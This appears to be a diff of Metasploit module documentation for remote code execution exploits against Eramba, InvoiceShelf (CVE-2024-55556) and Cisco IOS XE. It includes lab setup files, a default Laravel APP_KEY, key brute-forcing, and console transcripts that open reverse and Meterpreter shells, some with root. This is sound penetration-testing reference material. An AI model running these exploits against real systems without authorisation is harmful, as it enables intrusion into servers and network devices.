|
||||
- .env:/var/www/docker.env
|
||||
environment:
|
||||
DB_HOST: ${DB_HOST}
|
||||
DB_DATABASE: ${DB_DATABASE}
|
||||
DB_USERNAME: ${DB_USERNAME}
|
||||
DB_PASSWORD: ${DB_PASSWORD}
|
||||
CACHE_URL: ${CACHE_URL}
|
||||
USE_PROXY: ${USE_PROXY}
|
||||
PROXY_HOST: ${PROXY_HOST}
|
||||
PROXY_PORT: ${PROXY_PORT}
|
||||
USE_PROXY_AUTH: ${USE_PROXY_AUTH}
|
||||
PROXY_AUTH_USER: ${PROXY_AUTH_USER}
|
||||
PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
|
||||
PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
|
||||
DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
|
||||
LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
|
||||
links:
|
||||
- mysql
|
||||
- redis
|
||||
- eramba
|
||||
depends_on:
|
||||
- eramba
|
||||
volumes:
|
||||
app:
|
||||
data:
|
||||
logs:
|
||||
db-data:
|
||||
```
|
||||
|
||||
5. `docker compose -f docker-compose.simple-install.yml up -d`
|
||||
|
||||
Shut down: `docker compose -f docker-compose.simple-install.yml down`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. use exploit/linux/http/eramba_rce
|
||||
2. set RHOSTS [target IP]
|
||||
3. set LHOST [attacker's IP]
|
||||
4. set USERNAME [username]
|
||||
5. set PASSWORD [password]
|
||||
6. exploit
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
A valid username for Eramba application
|
||||
|
||||
### PASSWORD
|
||||
|
||||
A valid password for Eramba application
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/eramba_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145
|
||||
RHOSTS => 192.168.95.145
|
||||
msf6 exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142
|
||||
LHOST => 192.168.95.142
|
||||
msf6 exploit(linux/http/eramba_rce)> set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf6 exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd!
|
||||
PASSWORD => P4ssw0rd!
|
||||
msf6 exploit(linux/http/eramba_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.95.142:4444
|
||||
[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100
|
||||
id
|
||||
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,186 @@
|
||||
## Vulnerable Application
|
||||
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
|
||||
invoices & estimates and is based on the PHP framework Laravel.
|
||||
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
|
||||
PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
|
||||
InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
|
||||
These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
|
||||
Laravel's encrypt() function.
|
||||
An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
|
||||
the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
|
||||
remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
|
||||
The following release was tested.
|
||||
* InvoiceShelf `1.3.0` on Docker
|
||||
|
||||
## Installation steps to install InvoiceShelf on Docker
|
||||
* Follow the instructions [here](https://docs.invoiceshelf.com/installation.html) for docker or manual install.
|
||||
* Please ensure that `SESSION_DRIVER=cookie` is set to cookie.
|
||||
* cp `.env.example` to `.env` and note down the `APP_KEY` setting.
|
||||
* To make life easy, use the `docker-compose.yml` below to install a vulnerable InvoiceShell on Docker.
|
||||
```
|
||||
#-------------------------------------------
|
||||
# InvoiceShelf MySQL docker-compose variant
|
||||
# Repo : https://github.com/InvoiceShelf/docker
|
||||
#-------------------------------------------
|
||||
|
||||
services:
|
||||
invoiceshelf_db:
|
||||
container_name: invoiceshelf_db
|
||||
image: mariadb:10
|
||||
environment:
|
||||
- MYSQL_DATABASE=invoiceshelf
|
||||
- MYSQL_USER=invoiceshelf
|
||||
- MYSQL_PASSWORD=Passw0rd
|
||||
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true
|
||||
expose:
|
||||
- 3306
|
||||
volumes:
|
||||
- mysql:/var/lib/mysql
|
||||
networks:
|
||||
- invoiceshelf
|
||||
restart: unless-stopped
|
||||
healthcheck:
|
||||
test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"]
|
||||
timeout: 20s
|
||||
retries: 10
|
||||
|
||||
invoiceshelf:
|
||||
image: invoiceshelf/invoiceshelf:1.3.0
|
||||
container_name: invoiceshelf
|
||||
ports:
|
||||
- 90:80
|
||||
volumes:
|
||||
- ./invoiceshelf_mysql/data:/data
|
||||
- ./invoiceshelf_mysql/conf:/conf
|
||||
networks:
|
||||
- invoiceshelf
|
||||
environment:
|
||||
# PHP timezone e.g. PHP_TZ=America/New_York
|
||||
- PHP_TZ=UTC
|
||||
- TIMEZONE=UTC
|
||||
- APP_NAME=Laravel
|
||||
- APP_ENV=local
|
||||
- APP_DEBUG=true
|
||||
- APP_URL=http://localhost:90
|
||||
- DB_CONNECTION=mysql
|
||||
- DB_HOST=invoiceshelf_db
|
||||
- DB_PORT=3306
|
||||
- DB_DATABASE=invoiceshelf
|
||||
- DB_USERNAME=invoiceshelf
|
||||
- DB_PASSWORD=Passw0rd
|
||||
- DB_PASSWORD_FILE=
|
||||
- CACHE_STORE=file
|
||||
- SESSION_DRIVER=cookie
|
||||
- SESSION_LIFETIME=1440
|
||||
- SESSION_ENCRYPT=false
|
||||
- SESSION_PATH=/
|
||||
- SESSION_DOMAIN=localhost
|
||||
- SANCTUM_STATEFUL_DOMAINS=localhost:90
|
||||
- STARTUP_DELAY=
|
||||
#- MAIL_DRIVER=smtp
|
||||
#- MAIL_HOST=smtp.mailtrap.io
|
||||
#- MAIL_PORT=2525
|
||||
#- MAIL_USERNAME=null
|
||||
#- MAIL_PASSWORD=null
|
||||
#- MAIL_PASSWORD_FILE=<filename>
|
||||
#- MAIL_ENCRYPTION=null
|
||||
restart: unless-stopped
|
||||
depends_on:
|
||||
- invoiceshelf_db
|
||||
|
||||
networks:
|
||||
invoiceshelf:
|
||||
|
||||
volumes:
|
||||
mysql:
|
||||
```
|
||||
* Execute `docker-compose up -d`
|
||||
* You can access the InvoiceShelf application at http://localhost:90
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
### APP_KEY
|
||||
This option is required if the BRUTE_FORCE option is not used.
|
||||
It is the Laravel APP_KEY with a default key: `base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=`.
|
||||
|
||||
### BRUTEFORCE
|
||||
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
|
||||
|
||||
## Scenarios
|
||||
### InvoiceShelf 1.3.0 on Docker - PHP Command target
|
||||
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set rhosts 192.168.201.21
|
||||
rhosts => 192.168.201.21
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.21:90 can be exploited.
|
||||
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
|
||||
[*] Grabbing the cookies.
|
||||
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
|
||||
[+] Unciphered value: f80a79e26a4e80e6829ca82e9323f17dcbf8226b|{"data":"a:3:{s:6:\"_token\";s:40:\"4Fgr0aT0N85gxRmu4PoVqPzHU7XOH23NCrivJO9x\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454360}
|
||||
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.21
|
||||
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.21:54194) at 2025-03-07 17:19:21 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > pwd
|
||||
/var/www/html/InvoiceShelf/public
|
||||
meterpreter > sysinfo
|
||||
Computer : 72fe563832ca
|
||||
OS : Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
### InvoiceShelf 1.3.0 on Docker - Unix/Linux Command target
|
||||
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/crater.txt
|
||||
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/crater.txt
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.21:90 can be exploited.
|
||||
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
|
||||
[*] Grabbing the cookies.
|
||||
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/crater.txt.
|
||||
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
|
||||
[+] Unciphered value: ce0776f8682b66a8407e6a3d62622642ec8fc685|{"data":"a:3:{s:6:\"_token\";s:40:\"Q2zYE5unWqTpdLwFwqgKxBVubiDI95ceLObsbXXV\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454687}
|
||||
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.21:54229) at 2025-03-07 17:24:53 +0000
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(invoiceshelf)
|
||||
uname -a
|
||||
Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 GNU/Linux
|
||||
pwd
|
||||
/var/www/html/InvoiceShelf/public
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -26,8 +26,12 @@ The vulnerable IOS XE versions are:
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
|
||||
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3 and version 17.3.2. To test this module you will need to either:
|
||||
This module was tested against IOS XE version 16.12.3 and version 17.3.2 running on a CSR1000v appliance.
|
||||
To test this module you will need to either:
|
||||
|
||||
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
|
||||
|
||||
@@ -86,13 +90,12 @@ This allows for native Linux payloads to be used, but also payloads like Python
|
||||
### Linux Command (IOS XE 17.3.2)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOST 192.168.86.58
|
||||
RHOST => 192.168.86.58
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113
|
||||
RHOSTS => 192.168.86.113
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[+] 192.168.86.58:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
|
||||
Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
@@ -102,7 +105,7 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
|
||||
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.58 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RHOSTS 192.168.86.113 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
@@ -110,103 +113,24 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME dDrTvTlqxwoK no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu'
|
||||
[*] Removing user 'sqVXixoV'
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.58
|
||||
[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : router
|
||||
OS : (Linux 4.19.106)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
|
||||
payload => cmd/linux/http/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'pfGnCwkI' with password 'YhTwxBLK'
|
||||
[*] Removing user 'pfGnCwkI'
|
||||
[*] Sending stage (38 bytes) to 192.168.86.58
|
||||
[*] Command shell session 7 opened (192.168.86.42:4444 -> 192.168.86.58:64994) at 2023-11-06 17:01:44 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.58 - Command shell session 7 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Linux Command (IOS XE 16.12.3)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
|
||||
Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
|
||||
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
When FETCH_FILELESS is false:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME ytfnShmfT no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
FETCH_FILENAME vsLOEPPqU no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
@@ -220,108 +144,56 @@ Exploit target:
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
|
||||
[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[+] 192.168.86.113:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'lwWQIDaS' with password 'dADCGJpS'
|
||||
[*] Removing user 'lwWQIDaS'
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.59
|
||||
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.59:56554) at 2023-11-06 16:41:06 +0000
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'vTakCDWG' with password 'RJQHKnKK'
|
||||
[*] Removing user 'vTakCDWG'
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.113
|
||||
[*] Meterpreter session 5 opened (192.168.86.122:4444 -> 192.168.86.113:56702) at 2025-03-03 20:31:39 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : router
|
||||
OS : (Linux 4.19.64)
|
||||
Computer : testc100v
|
||||
OS : (Linux 4.19.106)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
|
||||
payload => cmd/linux/http/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'NjAmOioM' with password 'tOHjWGyw'
|
||||
[*] Removing user 'NjAmOioM'
|
||||
[*] Sending stage (38 bytes) to 192.168.86.59
|
||||
[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.59:56598) at 2023-11-06 16:44:48 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.59 - Command shell session 5 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Unix Target (IOS XE 17.3.2)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'JAonVuJS' with password 'vYecWhWk'
|
||||
[*] Removing user 'JAonVuJS'
|
||||
[*] Sending stage (24772 bytes) to 192.168.86.58
|
||||
[*] Meterpreter session 8 opened (192.168.86.42:4444 -> 192.168.86.58:65016) at 2023-11-06 17:03:34 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : router
|
||||
OS : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
|
||||
payload => cmd/linux/http/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'TVtEhbdd' with password 'NtRvujcZ'
|
||||
[*] Removing user 'TVtEhbdd'
|
||||
[*] Command shell session 9 opened (192.168.86.42:4444 -> 192.168.86.58:65036) at 2023-11-06 17:04:28 +0000
|
||||
[*] Created privilege 15 user 'VltpvRrx' with password 'KDJGXORf'
|
||||
[*] Removing user 'VltpvRrx'
|
||||
[*] Sending stage (38 bytes) to 192.168.86.113
|
||||
[*] Command shell session 6 opened (192.168.86.122:4444 -> 192.168.86.113:56736) at 2025-03-03 20:32:52 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
Linux testc100v 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.58 - Command shell session 9 closed.
|
||||
[*] 192.168.86.113 - Command shell session 6 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Unix Target (IOS XE 16.12.3)
|
||||
### Linux Command (IOS XE 16.12.3)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114
|
||||
RHOSTS => 192.168.86.114
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
|
||||
Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
|
||||
@@ -330,7 +202,156 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
|
||||
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RHOSTS 192.168.86.114 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_FILELESS is false:
